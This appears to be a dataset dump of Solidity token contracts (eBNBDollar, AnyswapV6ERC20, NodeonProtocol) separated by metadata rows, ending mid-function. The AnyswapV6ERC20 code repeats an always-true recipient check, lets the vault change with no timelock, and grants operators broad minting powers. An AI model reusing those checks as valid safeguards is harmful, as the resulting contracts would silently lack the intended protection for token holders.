_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract BEP20Burnable is Context, BEP20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
contract eBNBDollar is BEP20Burnable, Operator {
uint256 public constant INITIAL_DISTRIBUTION = 210000 ether;
bool public rewardPoolDistributed = false;
constructor() public BEP20("eBNBmon", "eBNBmon") {
// Mints 1 eBNBmon to contract creator for initial pool setup
_mint(msg.sender, 1 ether);
}
function mint(address recipient_, uint256 amount_) public onlyOperator returns (bool) {
uint256 balanceBefore = balanceOf(recipient_);
_mint(recipient_, amount_);
uint256 balanceAfter = balanceOf(recipient_);
return balanceAfter > balanceBefore;
}
function burn(uint256 amount) public override {
super.burn(amount);
}
function burnFrom(address account, uint256 amount) public override onlyOperator {
super.burnFrom(account, amount);
}
function distributeReward(address _distributionPool) external onlyOperator {
require(!rewardPoolDistributed, "only can distribute once");
require(_distributionPool != address(0), "!_distributionPool");
rewardPoolDistributed = true;
_mint(_distributionPool, INITIAL_DISTRIBUTION);
}
function governanceRecoverUnsupported(IBEP20 _token, uint256 _amount, address _to) external onlyOperator {
_token.transfer(_to, _amount);
}
}
| 71,394 | 10,311 |
09f56ab4185dc56aac3934e1487654a0681c4b5f5c4972ec0921309881af3167
| 23,826 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3b/3b9e3b5c616a1a038fdc190758bbe9bab6c7a857_AnyswapV6ERC20.sol
| 5,050 | 19,376 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 77,660 | 10,312 |
e3c311c94f10acbef05221ce94c1360ee7ef600beaeae65e291c566f8bb74a8a
| 29,598 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/8f/8f6a7dee2386a1141e102eac0f7416fe766e7d54_NodeonProtocol.sol
| 5,246 | 18,801 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract NodeonProtocol is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 700 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'NodeonProtocol';
string private _symbol = 'NODEON';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint256 private _maxTxAmount = 700 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
